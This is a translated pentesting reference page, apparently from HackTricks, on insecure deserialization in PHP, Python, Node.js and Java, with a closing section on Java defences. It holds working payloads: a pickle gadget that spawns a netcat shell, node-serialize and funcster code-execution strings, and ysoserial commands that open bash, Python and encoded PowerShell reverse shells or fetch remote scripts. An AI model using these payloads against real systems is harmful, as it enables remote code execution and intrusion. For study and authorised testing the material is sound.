hacktricks/pentesting-web/deserialization
2024-07-19 16:25:04 +00:00
..
nodejs-proto-prototype-pollution Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:42 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
exploiting-__viewstate-parameter.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
java-transformers-to-rutime-exec-payload.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:58:21 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
php-deserialization-+-autoload-classes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
python-yaml-deserialization.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:42 +00:00

Deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Серіалізація розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.

Десеріалізація, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.

Десеріалізація може бути небезпечною, оскільки вона потенційно дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду або викликати непередбачувану поведінку в додатку під час процесу відновлення об'єкта.

PHP

В PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:

  • __sleep: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
  • __wakeup: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
  • __unserialize: Цей метод викликається замість __wakeup (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з __wakeup.
  • __destruct: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
  • __toString: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Якщо ви подивитеся на результати, ви можете побачити, що функції __wakeup та __destruct викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція __toString викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це більше не відбувається.

{% hint style="warning" %} Метод __unserialize(array $data) викликається замість __wakeup(), якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Ви можете прочитати пояснений PHP приклад тут: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, тут https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf або тут https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Ви можете зловживати функціональністю автозавантаження PHP для завантаження довільних php файлів та більше:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Серіалізація посилальних значень

Якщо з якоїсь причини ви хочете серіалізувати значення як посилання на інше серіалізоване значення, ви можете:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial для PHP)

PHPGGC може допомогти вам генерувати payload'и для зловживання десеріалізаціями PHP.
Зверніть увагу, що в кількох випадках ви не зможете знайти спосіб зловживати десеріалізацією в вихідному коді програми, але ви можете зловживати кодом зовнішніх PHP розширень.
Отже, якщо можете, перевірте phpinfo() сервера та пошукайте в інтернеті (навіть на gadgets PHPGGC) можливі gadgets, якими ви могли б зловживати.

phar:// метадані десеріалізації

Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад, використовуючи функції, такі як file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize(). Ви можете спробувати зловживати десеріалізацією, що відбувається при читанні файлу за допомогою протоколу phar.
Для отримання додаткової інформації прочитайте наступний пост:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Коли об'єкт розпаковується, функція __reduce__ буде виконана.
При експлуатації сервер може повернути помилку.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Для отримання додаткової інформації про вихід з pickle jails дивіться:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Наступна сторінка представляє техніку зловживання небезпечним десеріалізацією в yamls бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного payload для Pickle, PyYAML, jsonpickle і ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Class Pollution (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS не має "магічних" функцій як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі функції, які часто використовуються навіть без прямого виклику, такі як toString, valueOf, toJSON.
Якщо зловживати десеріалізацією, ви можете компрометувати ці функції для виконання іншого коду (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.

Ще один "магічний" спосіб викликати функцію без прямого виклику - це компрометація об'єкта, який повертається асинхронною функцією (promise). Тому, якщо ви перетворите цей об'єкт повернення в інший promise з властивістю під назвою "then" типу функція, він буде виконаний лише тому, що його повертає інший promise. Слідкуйте за цим посиланням для отримання додаткової інформації.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ та забруднення prototype

Якщо ви хочете дізнатися про цю техніку ознайомтеся з наступним посібником:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Ця бібліотека дозволяє серіалізувати функції. Приклад:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Серіалізований об'єкт виглядатиме так:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Ви можете побачити в прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець _$$ND_FUNC$$_.

Всередині файлу node-serialize/lib/serialize.js ви можете знайти той же прапорець і як код його використовує.

Як ви можете бачити в останньому фрагменті коду, якщо прапорець знайдено, використовується eval для десеріалізації функції, тому в основному вхідні дані користувача використовуються всередині функції eval.

Однак, просто серіалізувати функцію не виконає її, оскільки необхідно, щоб якась частина коду викликала y.rce в нашому прикладі, і це вкрай малоймовірно.
У будь-якому випадку, ви могли б просто модифікувати серіалізований об'єкт, додавши деякі дужки, щоб автоматично виконати серіалізовану функцію, коли об'єкт буде десеріалізовано.
У наступному фрагменті коду зверніть увагу на останню дужку і як функція unserialize автоматично виконає код:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Як було зазначено раніше, ця бібліотека отримає код після _$$ND_FUNC$$_ і виконає його за допомогою eval. Тому, щоб автоматично виконати код, ви можете видалити частину створення функції та останню дужку і просто виконати JS oneliner як у наступному прикладі:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Ви можете знайти тут додаткову інформацію про те, як експлуатувати цю вразливість.

funcster

Помітним аспектом funcster є недоступність стандартних вбудованих об'єктів; вони виходять за межі доступної області. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до виключень, таких як "ReferenceError: console is not defined" при використанні команд, таких як console.log() або require(something).

Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе через специфічний підхід. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити, використовуючи наступний фрагмент:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Для додаткової інформації прочитайте це джерело.

serialize-javascript

Пакет serialize-javascript призначений виключно для цілей серіалізації, не маючи жодних вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання eval пропонується офіційним прикладом для десеріалізації серіалізованих даних:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Якщо ця функція використовується для десеріалізації об'єктів, ви можете легко її експлуатувати:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Для додаткової інформації прочитайте це джерело.

Cryo бібліотека

На наступних сторінках ви можете знайти інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:

Java - HTTP

В Java, зворотні виклики десеріалізації виконуються під час процесу десеріалізації. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.

Відбитки

Білий ящик

Щоб виявити потенційні вразливості серіалізації в кодовій базі, шукайте:

  • Класи, які реалізують інтерфейс Serializable.
  • Використання функцій java.io.ObjectInputStream, readObject, readUnshared.

Зверніть особливу увагу на:

  • XMLDecoder, що використовується з параметрами, визначеними зовнішніми користувачами.
  • Метод fromXML бібліотеки XStream, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
  • ObjectInputStream у поєднанні з методом readObject.
  • Реалізацію методів, таких як readObject, readObjectNodData, readResolve або readExternal.
  • ObjectInputStream.readUnshared.
  • Загальне використання Serializable.

Чорний ящик

Для тестування чорного ящика шукайте специфічні підписи або "Magic Bytes", які позначають java серіалізовані об'єкти (походять з ObjectInputStream):

  • Шістнадцятковий шаблон: AC ED 00 05.
  • Base64 шаблон: rO0.
  • HTTP заголовки відповіді з Content-type, встановленим на application/x-java-serialized-object.
  • Шістнадцятковий шаблон, що вказує на попереднє стиснення: 1F 8B 08 00.
  • Base64 шаблон, що вказує на попереднє стиснення: H4sIA.
  • Веб-файли з розширенням .faces та параметром faces.ViewState. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як зазначено в пості про десеріалізацію Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Перевірте, чи вразливий

Якщо ви хочете дізнатися, як працює експлойт Java Deserialized, вам слід ознайомитися з Основною десеріалізацією Java, Десеріалізацією Java DNS та Payload CommonsCollection1.

Тестування в білому ящику

Ви можете перевірити, чи встановлено будь-який додаток з відомими вразливостями.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Ви можете спробувати перевірити всі бібліотеки, які відомі як вразливі і для яких Ysoserial може надати експлойт. Або ви можете перевірити бібліотеки, вказані на Java-Deserialization-Cheat-Sheet.
Ви також можете використовувати gadgetinspector для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.
При запуску gadgetinspector (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Будь ласка, зверніть увагу, що gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати.

Тест чорного ящика

Використовуючи розширення Burp gadgetprobe, ви можете ідентифікувати які бібліотеки доступні (і навіть версії). З цією інформацією може бути легше вибрати payload для експлуатації вразливості.
Прочитайте це, щоб дізнатися більше про GadgetProbe.
GadgetProbe зосереджений на ObjectInputStream десеріалізаціях.

Використовуючи розширення Burp Java Deserialization Scanner, ви можете ідентифікувати вразливі бібліотеки, які можна експлуатувати за допомогою ysoserial, і експлуатувати їх.
Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.
Java Deserialization Scanner зосереджений на ObjectInputStream десеріалізаціях.

Ви також можете використовувати Freddy для виявлення вразливостей десеріалізації в Burp. Цей плагін виявить не тільки вразливості, пов'язані з ObjectInputStream, але також вразливості з бібліотек десеріалізації Json та Yml. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.
Ви можете знайти більше інформації про Freddy тут.

Тест серіалізації

Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки (можливо, надати вам адміністративні привілеї в веб-додатку).
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, ви можете використовувати SerializationDumper для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.

Експлойт

ysoserial

Основний інструмент для експлуатації Java десеріалізацій - це ysoserial (скачати тут). Ви також можете розглянути можливість використання ysoseral-modified, що дозволить вам використовувати складні команди (наприклад, з конвеєрами).
Зверніть увагу, що цей інструмент зосереджений на експлуатації ObjectInputStream.
Я б почав використовувати payload "URLDNS" перед RCE payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Коли ви створюєте payload для java.lang.Runtime.exec(), ви не можете використовувати спеціальні символи такі як ">" або "|" для перенаправлення виходу виконання, "$()" для виконання команд або навіть передавати аргументи команді, розділені пробілами (ви можете зробити echo -n "hello world", але не можете зробити python2 -c 'print "Hello world"'). Щоб правильно закодувати payload, ви можете використати цю веб-сторінку.

Не соромтеся використовувати наступний скрипт для створення всіх можливих payload для виконання коду для Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Ви можете використовувати https://github.com/pwntester/SerialKillerBypassGadgetCollection разом з ysoserial для створення більше експлойтів. Більше інформації про цей інструмент у слайдах виступу, де був представлений інструмент: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec може бути використаний для генерації пейлоадів для експлуатації різних Json та Yml бібліотек серіалізації в Java.
Щоб скомпілювати проект, мені потрібно було додати ці залежності до pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Встановіть maven, і скомпілюйте проект:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Дізнайтеся більше про цю бібліотеку Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java використовує багато серіалізації для різних цілей, таких як:

  • HTTP запити: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
  • RMI (Віддалений виклик методів): Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
  • RMI через HTTP: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
  • JMX (Розширення управління Java): JMX використовує серіалізацію для передачі об'єктів через мережу.
  • Користувацькі протоколи: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.

Prevention

Transient objects

Клас, який реалізує Serializable, може реалізувати як transient будь-який об'єкт всередині класу, який не повинен бути серіалізованим. Наприклад:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Уникайте серіалізації класу, який повинен реалізовувати Serializable

У сценаріях, де певні об'єкти повинні реалізовувати інтерфейс Serializable через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши final метод readObject(), який постійно викидає виключення, як показано нижче:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Покращення безпеки десеріалізації в Java

Налаштування java.io.ObjectInputStream є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:

  • Код десеріалізації знаходиться під вашим контролем.
  • Відомі класи, які очікуються для десеріалізації.

Перевизначте resolveClass() метод, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Використання Java Agent для покращення безпеки пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується в основному для чорного списку шкідливих класів, використовуючи параметр JVM:

-javaagent:name-of-agent.jar

Це забезпечує спосіб динамічно захистити десеріалізацію, ідеально підходить для середовищ, де негайні зміни коду є непрактичними.

Перегляньте приклад у rO0 by Contrast Security

Реалізація фільтрів серіалізації: Java 9 представила фільтри серіалізації через інтерфейс ObjectInputFilter, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.

Щоб використовувати фільтри серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Використання зовнішніх бібліотек для підвищення безпеки: Бібліотеки, такі як NotSoSerial, jdeserialize та Kryo, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.

  • NotSoSerial перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
  • jdeserialize дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
  • Kryo є альтернативною рамкою серіалізації, яка підкреслює швидкість і ефективність, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.

Посилання

JNDI Injection & log4Shell

Дізнайтеся, що таке JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell (і приклад цієї уразливості) на наступній сторінці:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

API Java Message Service (JMS) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З Wikipedia).

Продукти

Існує кілька продуктів, які використовують це програмне забезпечення для надсилання повідомлень:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Експлуатація

Отже, в основному є безліч сервісів, які використовують JMS небезпечним чином. Тому, якщо у вас є достатні привілеї для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником.
Це означає, що в цій експлуатації всі клієнти, які будуть використовувати це повідомлення, заразяться.

Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.

